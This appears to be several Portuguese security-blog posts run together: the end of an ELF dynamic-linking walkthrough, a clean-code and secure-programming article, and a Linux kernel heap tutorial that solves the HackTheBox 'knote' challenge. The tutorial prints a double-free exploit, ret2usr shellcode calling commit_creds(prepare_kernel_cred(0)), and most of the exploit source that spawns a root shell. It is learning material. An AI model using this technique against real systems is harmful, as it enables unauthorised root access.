Nesta seção, há um campo chamado st_name que armazena o offset para a string puts\0, localizada na .dynstr. Repare que está tudo conectado através de "ponteiros", apontando para outros "ponteiros". A partir da .dynamic, a função _dl_runtime_resolve()você consegue localizar em memória todas as estruturas necessárias para fazer corretamente o seu trabalho.
Como exemplo, quando a _dl_runtime_resolve()quer descobrir onde está a .dynstr, ela verifica o link_map->l_info[DT_STRTAB] (veja que o #define acima é utilizado aqui!), onde há um ponteiro para a entrada da STRTAB, dentro da .dynamic.
Não colocarei aqui a struct "link_map", pois é bem extensa (por exemplo, armazena até o endereço base do binário ELF), mas o único campo dela que interessa pra gente é o l_info, já citado acima.
Seguem as 3 structs citadas:
typedef struct {  /* .dynamic */   Elf64_Sxword d_tag;     /* 8 bytes */   union {                 /* 8 bytes */       Elf64_Xword d_val;       Elf64_Addr  d_ptr;     } d_un; } Elf64_Dyn;  /* Total = 16 bytes */ typedef struct {  /* .rela.plt */      |  typedef struct {  /* .dynsym */   Elf64_Addr r_offset;  /* 8 bytes */  |    uint32_t      st_name;     /* 4 bytes */   uint64_t   r_info;    /* 8 bytes */  |    unsigned char st_info;     /* 1 byte  */   int64_t    r_addend;  /* 8 bytes */  |    unsigned char st_other;    /* 1 byte  */ } Elf64_Rela;  /* Total = 24 bytes */  |    uint16_t      st_shndx;    /* 2 bytes */                                        |    Elf64_Addr    st_value;    /* 8 bytes */                                        |    uint64_t      st_size;     /* 8 bytes */                                        |  } Elf64_Sym;  /* Total = 24 bytes */ Como podemos ver, as structs Elf64_Rela e Elf64_Sym possuem 24 bytes de tamanho em ambiente 64 bits. Em 32 bits, o tamanho é diferente.
Bom, vamos entender esse processo com mais detalhes.
Descobrindo os "offsets" das estruturas que usaremos:
$ readelf -S helloworld   # saída com adaptações There are 30 section headers, starting at offset 0x36c0: Section Headers:   [Nr] Name          Type         Address ...   [ 6] .dynsym       DYNSYM       03e0   [ 7] .dynstr       STRTAB       0488 ...   [11] .rela.plt     RELA         0618   [12] .init         PROGBITS     1000   [13] .plt          PROGBITS     1020 ...   [21] .dynamic      DYNAMIC      3df8   [22] .got          PROGBITS     3fd8   [23] .got.plt      PROGBITS     4000   [27] .symtab       SYMTAB       0000   [28] .strtab       STRTAB       0000 Obs: Para melhor entender as estruturas abaixo, aconselho importar o binário para o Ghidra, pois ele mostra visualmente cada seção descrita abaixo!
Até agora, usamos o binário sem ele estar sendo executado e, devido ao PIE, obtemos somente os offsets das funções. Vamos executá-lo no GDB:
# Obtendo o base address do binário: gef➤  deref -l 1 $_base() 0x0000555555554000│+0x0000: 0x00010102464c457f  # veja aqui o "magic number" do cabeçalho ELF  
# Obtendo o conteúdo da .got.plt, somando o endereço base + o offset da .got.plt (obtido via "readelf -S"): gef➤  x/4gx 0x555555554000 + 0x4000        # saída com adaptações 0x555555558000: 0x000000003df8             # "offset" para a seção ".dynamic" 0x555555558008: 0x7ffff7ffe2a0             # "link_map" 0x555555558010: 0x7ffff7fda5d0             # "_dl_runtime_resolve()" 0x555555558018: 0x555555555036             # "puts()", ainda apontando para ".plt" (0x555555554000 + 0x1036) Chamei de slots as posições alinhadas em memória das estruturas que estamos procurando. Em síntese, é onde a informação que estamos procurando está localizada dentro da link_map.
# Descobrindo a ".dynstr": "link_map->l_info[DT_STRTAB]", desfazendo os apontamentos: gef➤  x/gx (0x7ffff7ffe2a0 + (8*13))       # "link_map" + 13 "slots" = 0x7ffff7ffe308 0x7ffff7ffe308: 0x555555557e78             # 0x555555557e78 = endereço da seção ".dynamic", que aponta para: # a seção ".dynstr": gef➤  x/2gx 0x555555557e78 0x555555557e78: 0x000000000005      0x555555554488                  *-----> d_tag       *-----> d_val Obs: 0x555555557e78 aponta para "d_tag". "d_val" = "d_tag" + 8 bytes!
d_val = 0x555555554488: 0x555555554000 (endereço base) + 0x488 (que é o offset para .dynstr)
Pronto! Através do link_map e a .dynamic, conseguimos descobrir o endereço da .dynstr (0x555555554488)!
Usando a mesma estratégia, vamos descobrir o endereço de link_map->l_info[DT_SYMTAB] e link_map->l_info[DT_JMPREL]:
# Descobrindo a .dynsym: link_map->l_info[DT_SYMTAB], desfazendo os apontamentos: gef➤  x/gx (0x7ffff7ffe2a0 + (8*14))       # "link_map" + 14 "slots" = 0x7ffff7ffe310 0x7ffff7ffe310: 0x555555557e88             # 0x555555557e88 = endereço da seção ".dynamic", que aponta para: # a seção ".dynsym": gef➤  x/2gx 0x555555557e88 0x555555557e88: 0x000000000006      0x5555555543e0                  *-----> d_tag       *-----> d_val Obs: 0x555555557e88 aponta para d_tag. d_val = d_tag + 8 bytes!
d_val = 0x5555555543e0: 0x555555554000 (endereço base) + 0x3e0 (que é o offset para .dynsym)
Pronto! Através do link_map e a .dynamic, conseguimos descobrir o endereço da .dynsym (0x5555555543e0)!
# Descobrindo a .rela.plt: "link_map->l_info[DT_JMPREL], desfazendo os apontamentos: gef➤  x/gx (0x7ffff7ffe2a0 + (8*31))       # "link_map" + 31 "slots" = 0x7ffff7ffe398 0x7ffff7ffe398: 0x555555557ef8             # 0x555555557ef8 = endereço da seção ".dynamic", que aponta para: # a seção ".rela.plt": gef➤  x/2gx 0x555555557ef8 0x555555557ef8: 0x000000000017      0x555555554618                  *-----> d_tag       *-----> d_val Obs: 0x555555557ef8 aponta para d_tag. d_val = d_tag + 8 bytes!
d_val = 0x555555554618: 0x555555554000 (endereço base) + 0x618 (que é o offset para .rela.plt)
Pronto! Através do link_map e a .dynamic, conseguimos descobrir o endereço da .rela.plt (0x555555554618)!
De posse dos endereços das seções .rela.plt, .dynsym e .dynstr, a função _dl_runtime_resolve() tem condições de encontrar a string puts\0.
A primeira estrutura a ser utilizada é a .rela.plt, pois possui informações sobre a realocação dos endereços das funções.
$ readelf -r helloworld ... Relocation section '.rela.plt' at offset 0x618 contains 1 entry:   Offset          Info           Type           Sym. Value    Sym. Name + Addend 000000004018  000300000007 R_X86_64_JUMP_SLO 0000000000000000 puts@GLIBC_2.2.5 + 0 O readelf só nos mostra a função puts(), mas se o binário tivesse mais funções, ele as listaria aqui.
Vamos conferir no debugger o conteúdo do endereço de memória da .rela.plt:
gef➤  x/3gx 0x555555554618           # saída com modificações 0x555555554618: 0x0000000000004018   # r_offset 0x555555554620: 0x0000000300000007   # r_info 0x555555554628: 0x0000000000000000   # r_addend Vamos explicar o que significa esses campos:
   r_offset: Contém o offset que determina onde o endereço do símbolo resolvido será armazenado na .got.plt, no caso 0x4018 (veja o objdump que fizemos no começo do artigo);   r_info: Contém duas informações em um único campo: tipo de realocação index para a tabela de símbolos: será usado para localizar a estrutura Elf64_Sym correspndente na seção DYNSYM O campo r_info é interpretado através da sua definição no código da LIBC:
#define ELF64_R_SYM(i)                  ((i) >> 32) #define ELF64_R_TYPE(i)                 ((i) & 0xffffffff) Após resolvermos essa matemática destes #define, encontramos que o tipo de realocação = 7 (R_X86_64_JUMP_SLOT) e o index para a tabela de símbolos = 3.
De fato, se pegarmos o endereço inicial da tabela de símbolos .dynsym 0x5555555543e0 e somarmos 3*24 bytes (lembre-se que a estrutura .dynsym em 64 bits possui 24 bytes), encontraremos 0x555555554428, que é a Elf64_Sym da puts().
$ readelf -s helloworld  # saída com modificações Symbol table '.dynsym' contains 7 entries:   Num:  Value Size Type    Bind   Vis      Ndx Name      0:  0x00    0  NOTYPE  LOCAL  DEFAULT  UND       1:  0x00    0  FUNC    GLOBAL DEFAULT  UND _[...]@GLIBC_2.34 (2)      2:  0x00    0  NOTYPE  WEAK   DEFAULT  UND _ITM_deregisterT[...]  ==> 3:  0x00    0  FUNC    GLOBAL DEFAULT  UND puts@GLIBC_2.2.5 (3)      4:  0x00    0  NOTYPE  WEAK   DEFAULT  UND __gmon_start__      5:  0x00    0  NOTYPE  WEAK   DEFAULT  UND _ITM_registerTMC[...]      6:  0x00    0  FUNC    WEAK   DEFAULT  UND [...]@GLIBC_2.2.5 (3) Pela saída do readelf, verificamos que realmente o index 3 da tabela de símbolos corresponde à puts().
Em relação ao tipo de realocação = 7 (R_X86_64_JUMP_SLOT - veja o readelf -r acima), há uma verificação sobre essa condição no código em ?
assert ((reloc->r_info & 0xffffffff) == 0x7); Para resumir, esse assert verifica se reloc->r_info"é um JUMP_SLOT válido.
Vejamos no GDB o conteúdo desses 24 bytes de memória da Elf64_Sym:
gef➤  x/24xb 0x555555554428          # saída com modificações 0x555555554428: 0x22 0x00 0x00 0x00  # st_name  = 0x22 - 4 bytes 0x55555555442c: 0x12                 # st_info  = 0x12 - 1 byte 0x55555555442d: 0x00                 # st_other = 0x00 - 1 byte 0x55555555442e: 0x00 0x00            # st_shndx = 0x00 - 2 bytes 0x555555554430: 0x00 0x00 ...        # st_value = 0x00 - 8 bytes 0x555555554438: 0x00 0x00 ...        # st_size  = 0x00 - 8 bytes A string puts\0 é encontrada através do campo st_name, que representa o offset correspondente ao início da .dynstr (0x555555554488). Se somarmos este endereço com o valor de st_name, encontraremos a string:
gef➤  x/2wx 0x555555554488+0x22 0x5555555544aa: 0x73747570      0x62696c00                   *----> string "puts" em hex no formato "little endian" Ou...
gef➤  x/s 0x555555554488+0x22 0x5555555544aa: "puts" Pronto! Alcançamos o nosso objetivo. A partir de agora, conforme descrito anteriormente, a _dl_runtime_resolve():
Procurará a puts() em todas as libs carregadas (shared objects) e encontrará o seu endereço dinâmico na LIBC; Atualizará o endereço dinâmico da puts() na 4a entrada da seção .got.plt (0x4018); Fará um jump para puts() (apenas esta vez. Na próxima chamada, a função será chamada diretamente pela PLT - endereço 0x1030); Para fecharmos o ciclo deste artigo, segue a .got.plt com o endereço virtual da puts()descoberto e atualizado:
gef➤  x/4gx 0x555555554000 + 0x4000        # saída com adaptações 0x555555558000: 0x000000003df8             # "offset" para a seção ".dynamic" 0x555555558008: 0x7ffff7ffe2a0             # "link_map" 0x555555558010: 0x7ffff7fda5d0             # "_dl_runtime_resolve()" 0x555555558018: 0x7ffff7e075a0             # "puts()" ATUALIZADO!! Veja no vmmap que é um endereço da LIBC!
Críticas, correções e comentários são bem-vindos.
Obrigado!
  • 3,069 views
O que é preciso para escrever um código de qualidade?
"Escreva para pessoas, não para computadores", já dizia Uncle Bob, autor do livro “Clean Code” de 2008, que reúne algumas técnicas e práticas que ajudam a tornar o código mais legível, coeso e consistente.
Neste post, vamos descrever algumas dicas de otimização de código desde o viés deste livro e a importância de aliar o código limpo com a Programação Segura, do DevSecOps, para garantir aos desenvolvedores uma melhor qualidade em suas entregas.
 
Figura ilustrativa de como se mensura a qualidade de um código:

 
Código de qualidade é geralmente definido como um código que funciona como pretendido para o usuário final, sem problemas. No livro que mencionamos, você encontra muitas dicas e recomendações, além de outros exemplos para te guiar.
Lembrando que um código de alta qualidade tende a ser também mais seguro. Para isso, todo desenvolvedor precisa ter a consciência de que é preciso otimizar o código e escrevê-lo tendo em mente as principais vulnerabilidades, desde o início.
Funcionou! Então já está bom?
O código não deve ser medido apenas com base em “funciona” ou “não funciona”. Supostamente, o código que não funciona não é bom. No entanto, o código funcionando não significa necessariamente que está em boa condição.
Programação em blocos
Considere programar em blocos, ou seja, tenha uma visão geral do seu código conforme você o escreve. Por exemplo, em linguagens de programação baseadas em blocos, você sabe que o sistema funciona como um quebra-cabeça, cada fragmento é um comando e, em uma série de fragmentos, conseguimos escrever um bloco (ou parágrafo), que por sua vez faz o programa funcionar.
 Comentários nem sempre são legais
Seja objetivo, evite comentários óbvios enquanto estiver escrevendo seu código. Comentários irrelevantes explicando o que um comando faz apenas poluem seu trabalho. Se você precisar comentar para explicar o código, talvez seja um sinal de que esteja precisando reescrevê-lo.
Fique ligado nos nomes das funções: eles devem ser autoexplicativos
Os nomes estão por toda parte: variáveis, funções, métodos, parâmetros, classes, objetos, arquivos fonte, diretórios, projetos, ramificações de controle de versão, etc. Reserve um tempo para escolher bons nomes para cada elemento do seu código. 
Tenha em mente o seguinte exemplo: se precisarmos de uma função que obtenha as informações bancárias do usuário, não devemos usar um nome como getUserInfo ou algo parecido. Nesse caso, o ideal seria usar algo como getUserBankInfo, sendo mais específico. 
 Evite a repetição de código
Quando estiver utilizando muitos comandos Ctrl+C e Ctrl+V, pergunte-se se existe uma alternativa melhor. A repetição significa que algum código, dentro do que está duplicado, precisa ser extraído para se tornar uma função.
Veja este exemplo: 
 Prática de repetição

Na primeira parte repetimos a mesma coisa três vezes. A solução de fazer uma função individual, deixando o código mais enxuto, por meio da reutilização é a melhor solução:
 
Agora evitando a repetição

 
As funções devem ser pequenas
Funções pequenas ajudam a contar uma história de forma fácil e correta. Elas adicionam ordem, separação de interesses, abstração apropriada e estrutura correta ao seu código. Se nomeadas corretamente, tornam o código limpo, fácil de depurar e simples de seguir. 
Mas quão pequeno deve ser? Bem, de acordo com o Robert, uma função nunca deve ter mais de 20 linhas de código.
As funções devem fazer apenas uma coisa
Uma função não deve afetar outros processos além de sua função pretendida inicialmente.
Imagine que seja necessário adicionar e subtrair dois números, podemos fazer isso com uma única função. Entretanto, seguindo a boa prática, o ideal é dividir em duas funções. 
Função que faz mais de uma coisa:

Dividindo a função para cada uma servir ao seu papel:

Por que dividir? Quando houver funções individuais, elas serão facilmente reutilizáveis durante o desenvolvimento da aplicação.
 
Código otimizado é sinal de código seguro?
Seguir essas dicas pode agregar muito na otimização do seu código. No entanto, a filosofia do código limpo não se limita aos tópicos mencionados acima.
Para muitos Devs, ter um código limpo e rodando sem problemas significa ter um código seguro, mas o que nem todos sabem é que um código performático, não garante que esteja isento de vulnerabilidades.
Vulnerabilidades e violações de segurança podem existir em qualquer lugar no código. Nesse sentido, você pode acelerar a sua entrega aplicando o princípio Shift-Left, o que significa em outras palavras trazer todo o planejamento e preocupação com segurança, antes mesmo de fazer um commit. 
Proteja-se contra os ataques conhecidos
É fácil imaginar que muitos invasores poderão hackear nossas aplicações utilizando vetores de ataques conhecidos, ou melhor dizendo, das vulnerabilidades mais comuns na internet.
Uma falta geral de conhecimento sobre ameaças famosas da área de segurança e como explorá-las leva à repetição dos mesmos bugs de segurança no código.
Posto isso, descubra as 10 principais vulnerabilidades do OWASP e como essas explorações populares funcionam.
Seguir essas dicas de segurança irá protegê-lo de muitas vulnerabilidades futuras e este pode ser o início de sua Programação Segura. 
Dicas técnicas de programação segura
Após revisar algumas técnicas de otimização de código com Robert Martin e a importância da segurança na hora de desenvolver uma aplicação, ficou evidente o papel do desenvolvedor na construção de uma aplicação segura e de alta qualidade.
Portanto, desenvolvemos um conteúdo abordando algumas práticas para te ajudar a desenvolver de forma mais segura para ser proativo em relação às possíveis ameaças de segurança, confira essas dicas do blog da Conviso.
Gostou deste conteúdo? Inscreva-se no canal de YouTube da Conviso!
 
  • 2,072 views
Introdução
Ao explorar bugs de corrupção de memória, mesmo que os tipos de bugs sejam quase sempre os mesmos (Use-after-free, Double-free, OOB, Overflow, etc), as técnicas que devem ser usadas para explorar o bug variam a depender de alguns fatores como a plataforma, a região de memória, o alocador, e muitos muitos outros. Nesse artigo vamos entender como explorar corrupções de memória nos alocadores utilizados nas principais builds do kernel linux, o SLUB e o SLAB, para alcançar primitivas de leitura e escrita na memória e algumas técnicas para usar essa primitivas para escalar o nosso privilégio no sistema com algumas proteções comuns. Note que para entender exploração de heap no kernel linux é ideal já estar familiar com assuntos de heap e de kernel, separadamente.
SLUB
O SLUB, é um alocador de memória, ou seja, quando o kernel chama a função kmalloc(), o SLUB é o responsável por alocar um objeto na memória com o tamanho solicitado e retornar um ponteiro para esse objeto e também por adicionar o objeto em algum cache para reuso quando o kernel chama a função kfree(). É importante destacar que existem outros alocadores como o SLAB.
O alocador SLUB divide os objetos em diferentes regiões chamadas slabs, de acordo com o tamanho dos objetos. As slabs existentes dependem de como o kernel foi compilado mas normalmente a menor slab é a kmalloc-16, onde ficam armazenados os objetos com tamanho maior ou igual a 16 bytes, seguido pelo kmalloc-32, para os objetos com tamanho maior ou igual a 32 bytes, kmalloc-64, kmalloc-96, kmalloc-128... (normalmente alinhado a múltiplos de 32). Ou seja, todos os objetos de mesmo tamanho são alocados próximos uns aos outros. Portanto, é IMPOSSÍVEL, por exemplo, um objeto de 64 bytes ser adjacente a um objeto de 32 bytes (em breve vamos falar das implicações dessa observação na exploração).
É importante também observar que o cache do SLUB consiste em freelists para cada slab. Essas freelists são linked-lists simples em que cada objeto da lista possui um ponteiro na primeira qword que aponta para o próximo objeto da lista. As freelists normalmente possuem um comportamento LIFO (Last in First Out), que significa que os objetos que foram liberados por último serão os primeiros a serem realocados.

SLAB
O SLAB é similar ao SLUB em quase todos os aspectos exceto pelo fato de que os objetos livres que estão nas freelists não possuem um ponteiro na primeira qword que aponte para o próximo objeto livre. Objetos no cache do SLAB não armazenam NENHUM tipo de metadado, tornando algumas das técnicas utilizadas no SLUB inviáveis.
Corrompendo objetos
É importante perceber no caso do SLUB que os ponteiros dos objetos livres são alvos fáceis uma vez que um objeto foi corrompido, permitindo que o próximo objeto do tamanho corrompido seja alocado em uma localização arbitrária ao fazer com que o kmalloc retorne um ponteiro arbitrário.

Entretanto, lembre-se que o SLAB não possui estes ponteiros para que sejam corrompidos, ou seja, envenenar o cache não é possível se o alocador SLAB for utilizado, portanto, alcançar escrita e leitura arbitrárias não é tão simples quanto no SLUB.
Para isso é preciso entender que todos os objetos de todos os subsistemas do linux usam o mesmo heap e os mesmos caches. Suponha uma corrupção de memória que permita sobrescrever objetos que estão inicialmente livres, seja um OOB, um buffer overflow, um use-after-free ou qualquer outra. Essa corrupção permitiria sobrescrever o objeto não somente enquanto ele está livre, mas também permitiria sobrescrevê-lo depois que já foi realocado, ou seja, é possível sobrescrever um objeto que armazene alguma estrutura importante que seja utilizada por outro subsistema.
Com esse conceito em mente, imagine um subsistema sem vulnerabilidades com 4 syscalls que podem ser invocadas pela userland,
syscall(SYS_init_obj, size_t sz); retorna um ponteiro para o objeto syscall(SYS_write_obj, void *in, size_t sz); escreve no objeto syscall(SYS_read_obj, void *out, size_t sz); copia os bytes do objeto para a userland syscall(SYS_del_obj); libera o objeto e destrói a referência Suponha também que o subsistema possui uma estrutura para esse objeto que fica no heap que tem os seguintes campos:
void *data size_t sz Esta estrutura fica no heap, e por possuir 2 campos de 8 bytes cada, fica na slab kmalloc-16.
Agora suponha que haja uma corrupção em outro subsistema e que seja um Use-after-free, por exemplo. Ou seja, existe um objeto livre que ainda pode ser acessado, neste caso, suponha acesso de escrita. Um caminho para abusar isso seria criar a condição de Use-after-free, ou seja, alocar o objeto vulnerável, e deletá-lo em seguida. E então chamar a syscall SYS_init_obj com o mesmo tamanho do objeto do vulnerável, assim, o comportamento LIFO do SLAB fará com que essa alocação utilize o último objeto que foi livre, ou seja, o objeto vulnerável. Com isso acabamos de criar uma interface de escrita e leitura arbitrárias.

Assim, podemos usar o subsistema vulnerável para editar para onde o ponteiro data aponta e qual é o valor do tamanho sz e em seguida usar o subsistema alvo para ler e escrever utilizando os valores corrompidos. Numa situação real é possível que a corrupção de memória esteja restrita a um slab específico, portanto, é importante selecionar objetos alvo de acordo com o objetivo e o slab. Aqui está um compilado de alguns desses objetos.
Algumas proteções
O foco desse artigo é introduzir especificamente as técnicas relacionadas ao heap do kernel linux, tocando o mínimo possível em assuntos generalistas do kernel e de heap, separadamente. Portanto somente algumas proteções serão brevemente mencionadas.
O kernel linux pode ser (e normalmente é) executado com algumas proteções que devem ser consideradas se presentes no ambiente, como:
 kASLR
A versão kernel-mode do ASLR. Randomiza a base onde as regiões de memória do kernel são inicializadas, tornando a exploração muito difícil (e às vezes impossível) sem um vazamento que permita ler um ponteiro do kernel.
SMEP
Restringe a execução de memória em páginas da userland. Ou seja, se o PC em kernel-mode apontar para uma página alocada para a userland, isso causará uma exceção e um kernel panic.
SMAP
É uma extensão do SMEP, porém, não somente restringe a execução de páginas da userland mas também restringe o acesso direto de memória alocada para a userland. Ou seja, o acesso de leitura ou escrita em kernel-mode a uma página da userland causará uma exceção e um kernel panic. A única forma de acessar memória da userland com o SMAP habilitado é por meio da interface usercopy, que disponibiliza as funções copy_from_user e copy_to_user.
Exemplificando com desafios de CTF
Um desafio de nível introdutório é o knote do Hackthebox. Os arquivos do desafio estão todos no meu github.
Vamos resolver o desafio com os conceitos que foram discutidos, começando com uma breve análise do módulo.
Análise do módulo vulnerável
[...] static long knote_ioctl(struct file *file, unsigned int cmd, unsigned long arg) {     mutex_lock(&knote_ioctl_lock);     struct knote_user ku;     if(copy_from_user(&ku, (void *)arg, sizeof(struct knote_user)))         return -EFAULT;     switch(cmd) {         case KNOTE_CREATE:             if(ku.len > 0x20 || ku.idx >= 10)                 return -EINVAL;             char *data = kmalloc(ku.len, GFP_KERNEL);             knotes[ku.idx] = kmalloc(sizeof(struct knote), GFP_KERNEL);             if(data == NULL || knotes[ku.idx] == NULL) {                 mutex_unlock(&knote_ioctl_lock);                 return -ENOMEM;             }             knotes[ku.idx]->data = data;             knotes[ku.idx]->len = ku.len;             if(copy_from_user(knotes[ku.idx]->data, ku.data, ku.len)) {                 kfree(knotes[ku.idx]->data);                 kfree(knotes[ku.idx]);                 mutex_unlock(&knote_ioctl_lock);                 return -EFAULT;             }             knotes[ku.idx]->encrypt_func = knote_encrypt;             knotes[ku.idx]->decrypt_func = knote_decrypt;             break;         case KNOTE_DELETE:             if(ku.idx >= 10 || !knotes[ku.idx]) {                 mutex_unlock(&knote_ioctl_lock);                 return -EINVAL;             }             kfree(knotes[ku.idx]->data);             kfree(knotes[ku.idx]);             knotes[ku.idx] = NULL;             break;         case KNOTE_READ:             if(ku.idx >= 10 || !knotes[ku.idx] || ku.len > knotes[ku.idx]->len) {                 mutex_unlock(&knote_ioctl_lock);                 return -EINVAL;             }             if(copy_to_user(ku.data, knotes[ku.idx]->data, ku.len)) {                 mutex_unlock(&knote_ioctl_lock);                 return -EFAULT;             }             break;         case KNOTE_ENCRYPT:             if(ku.idx >= 10 || !knotes[ku.idx]) {                 mutex_unlock(&knote_ioctl_lock);                 return -EINVAL;             }             knotes[ku.idx]->encrypt_func(knotes[ku.idx]->data, knotes[ku.idx]->len);             break;          case KNOTE_DECRYPT:             if(ku.idx >= 10 || !knotes[ku.idx]) {                 mutex_unlock(&knote_ioctl_lock);                 return -EINVAL;             }             knotes[ku.idx]->decrypt_func(knotes[ku.idx]->data, knotes[ku.idx]->len);             break;         default:             mutex_unlock(&knote_ioctl_lock);             return -EINVAL;     }     mutex_unlock(&knote_ioctl_lock);     return 0; } [...] O módulo funciona de forma relativamente simples, há somente uma função acessível para a userland por meio de uma chamada ioctl que permite executar 5 comandos: KNOTE_CREATE, KNOTE_DELETE, KNOTE_READ, KNOTE_ENCRYPT e KNOTE_DECRYPT.
O comando KNOTE_CREATE e KNOTE_DELETE podem ser usados para criar um bug de double free:
[...] char *data = kmalloc(ku.len, GFP_KERNEL); knotes[ku.idx] = kmalloc(sizeof(struct knote), GFP_KERNEL); [...] if(copy_from_user(knotes[ku.idx]->data, ku.data, ku.len)) {     kfree(knotes[ku.idx]->data);     kfree(knotes[ku.idx]); [...] Explorando um double-free
ku.data é um ponteiro controlado pela userland que aponta para os dados que devem ser copiados para o buffer knotes[ku.idx]->data (buffer alocado com o kmalloc) com a função copy_from_user. Caso a chamada para a função copy_from_user retorne um valor não nulo, ou seja, um erro, então a estrutura com o ponteiro e tamanho do buffer e o buffer em si, são liberados com o kfree sem anular o ponteiro para a estrutura no array knotes nem anular o ponteiro contido na estrutura que aponta para o buffer, ou seja, as referências todas são preservadas mesmo após os objetos já terem sido liberados e adicionados aos seus respectivos caches. Em muitas situações esse bug seria um use-after-free, mas este módulo não implementa forma nenhuma de editar o buffer depois que já foi criado, portanto, não é possível escrever diretamente no objeto. Entretanto, uma vez que a referência do objeto recém-liberado ainda existe, é possível usar o comando KNOTE_DELETE para liberar o objeto novamente, fazendo com que duas entradas do cache apontem para a mesma memória, o que fará com que as próximas duas alocações para essa slab se sobreponham.
Corrompendo estruturas
Ok, nós já podemos sobrepor objetos, mas ainda é preciso decidir quais objetos sobrepor da vasta gama de opções que o kernel Linux oferece. Para isso, podemos nos apoiar no compilado de estruturas documentadas que podem ser usadas para apoiar a exploração. O nosso objetivo deve ser sobrescrever um objeto que tenhamos pleno acesso de escrita com um outro que carregue estruturas críticas (como ponteiros de função ou ponteiros usados para leitura e/ou escrita). No caso desse desafio, as proteções SMAP e SMEP estão desabilitadas, por tanto, é possível executar memória da userland. Já que podemos executar memória da userland, podemos utilizar uma técnica chamada ret2usr, que consiste em alocar um shellcode em memória da userland e então apontar o PC em kernel-mode para esse endereço. Para essa tarefa, eu escolhi o objeto alocado pela função setxattr já que os dados e o tamanho desse buffer podem ser controlados pela userland no momento da alocação e como objeto alvo eu escolhi a estrutura seq_operations, já que essa estrutura armazena ponteiros de função.sexattr:
setxattr(struct dentry *d, const char __user *name, const void __user *value,      size_t size, int flags) {     int error;     void *kvalue = NULL;     char kname[XATTR_NAME_MAX + 1];     if (flags & ~(XATTR_CREATE|XATTR_REPLACE))         return -EINVAL;     error = strncpy_from_user(kname, name, sizeof(kname));     if (error == 0 || error == sizeof(kname))         error = -ERANGE;     if (error < 0)         return error;     if (size) {         if (size > XATTR_SIZE_MAX)             return -E2BIG;         kvalue = kmalloc(size, GFP_KERNEL | __GFP_NOWARN);         if (!kvalue) {             kvalue = vmalloc(size);             if (!kvalue)                 return -ENOMEM;         }         if (copy_from_user(kvalue, value, size)) {             error = -EFAULT;             goto out;         }         if ((strcmp(kname, XATTR_NAME_POSIX_ACL_ACCESS) == 0) ||             (strcmp(kname, XATTR_NAME_POSIX_ACL_DEFAULT) == 0))             posix_acl_fix_xattr_from_user(kvalue, size);     }     error = vfs_setxattr(d, kname, kvalue, size, flags); out:     kvfree(kvalue);     return error; } seq_operations:
struct seq_operations {     void * (*start) (struct seq_file *m, loff_t *pos);     void (*stop) (struct seq_file *m, void *v);     void * (*next) (struct seq_file *m, void *v, loff_t *pos);     int (*show) (struct seq_file *m, void *v); }; A estrutura seq_operations pode ser alocada ao abrir o arquivo /proc/self/stat da seguinte forma: open("/proc/self/stat",O_RDONLY);. O objeto elástico e controlável alocado pela setxattr pode ser alocado da seguinte forma:  setxattr("/path/qualquer","nome_qualquer", &buffer, tamanho, 0); Uma vez que o objeto seq_operations foi alocado, o ponteiro start, na primeira qword da estrutura, pode ser dereferenciado e executado quando quisermos ao chamar read(target, buffer_qualquer, 1); sendo target o file descriptor retornado pelo open ao abrir o /proc/self/stat. Escalar privilégios
Este artigo tem o objetivo de descrever com detalhe as técnicas de manipulação do heap no kernel linux, sendo assim, passaremos muito brevemente pela escrita do shellcode para que o foco original seja mantido, mas para os que não entendem do assunto e gostariam de entender mais, eu recomendo a série de nível introdutório de kernel exploitation do lkmidas.
Por último, precisamos escrever um shellcode que possa nos colocar em uma shell de root. Uma forma de fazer isso é utilizando um shellcode que execute algo como commit_creds(prepare_kernel_cred(0)) que criará um instância da estrutura cred com os ids setados para 0, ou seja, uma credencial de root, e então tornará essa a nova cred do processo atual.
Se o kASLR estivesse habilitado (que não é o caso) nós precisaríamos de um vazamento de um ponteiro do kernel para calcular os endereços das funções commit_creds e prepare_kernel_cred. Também devemos escrever um segundo shellcode que será executado pelo nosso programa em user-mode antes de começar o exploit para salvar os registradores que serão restaurados quando o shellcode executado pelo PC em kernel-mode trocar o contexto de volta para user-mode e por fim abrir uma shell.
[...] void bak(){     __asm__(         ".intel_syntax noprefix;"         "mov bak_cs, cs;"         "mov bak_ss, ss;"         "mov bak_rsp, rsp;"         "pushf;"         "pop bak_rflags;"         ".att_syntax;"             );     puts("[+]Registers backed up"); } [...] void shellcode(){     __asm__(         ".intel_syntax noprefix;"         "mov rdi, 0;"         "movabs rbx, 0xffffffff81053c50;"         "call rbx;"         "mov rdi, rax;"         "movabs rbx, 0xffffffff81053a30;"         "call rbx;"         "swapgs;"         "mov r15, bak_ss;"         "push r15;"         "mov r15, bak_rsp;"         "push r15;"         "mov r15, bak_rflags;"         "push r15;"         "mov r15, bak_cs;"         "push r15;"         "mov r15, bak_rip;"         "push r15;"         "iretq;"         ".att_syntax;"     ); [...] Exploit final
Recapitulando brevemente, nossa técnica consistiu em:
Criar a condição de double free; Alocar um objeto seq_operations que contém ponteiros de função; Alocar um objeto setxattr para sobrepôr o objeto seq_operations e sobrescrever um ponteiro de função com um ponteiro para o nosso shellcode na userland; Fazer com que o ponteiro de função corrompido seja chamado, que resultará na execução do nosso shellcode; O meu código para a solução do desafio ficou assim:
#include <fcntl.h> #include <stdio.h> #include <unistd.h> #include <stdlib.h> #include <sys/ioctl.h> #include <sys/mman.h> #include <sys/xattr.h> #define KNOTE_CREATE    0x1337 #define KNOTE_DELETE    0x1338 #define KNOTE_READ      0x1339 #define KNOTE_ENCRYPT   0x133a #define KNOTE_DECRYPT   0x133b int dev, target; /* Module structs */ typedef struct {     char *data;     size_t len;     void (*encrypt_func)(char *, size_t);     void (*decrypt_func)(char *, size_t); } knote; typedef struct {     unsigned long idx;     char * data;     size_t len; } knote_user; /* Backup registers */ unsigned long bak_cs,bak_rflags,bak_ss,bak_rsp,bak_rip; void bak(){     __asm__(         ".intel_syntax noprefix;"         "mov bak_cs, cs;"         "mov bak_ss, ss;"         "mov bak_rsp, rsp;"         "pushf;"         "pop bak_rflags;"         ".att_syntax;"             );     puts("[+]Registers backed up"); } /* Helper functions */ void debug(){     puts("[+]Halted execution");     getchar(); } void open_dev(){     dev = open("/dev/knote",O_RDONLY);     puts("[+]Interacting with device"); } void do_create(unsigned long idx, char *data, size_t len){     knote_user note = {         .idx = idx,         .data = data,         .len = len     };     ioctl(dev,KNOTE_CREATE,&note); } void do_delete(unsigned long idx){     knote_user note = {         .idx = idx     };     ioctl(dev,KNOTE_DELETE,&note); } void bin_sh(){     printf("[+]UID: %d\n",getuid());     close(target);     system("/bin/sh"); } 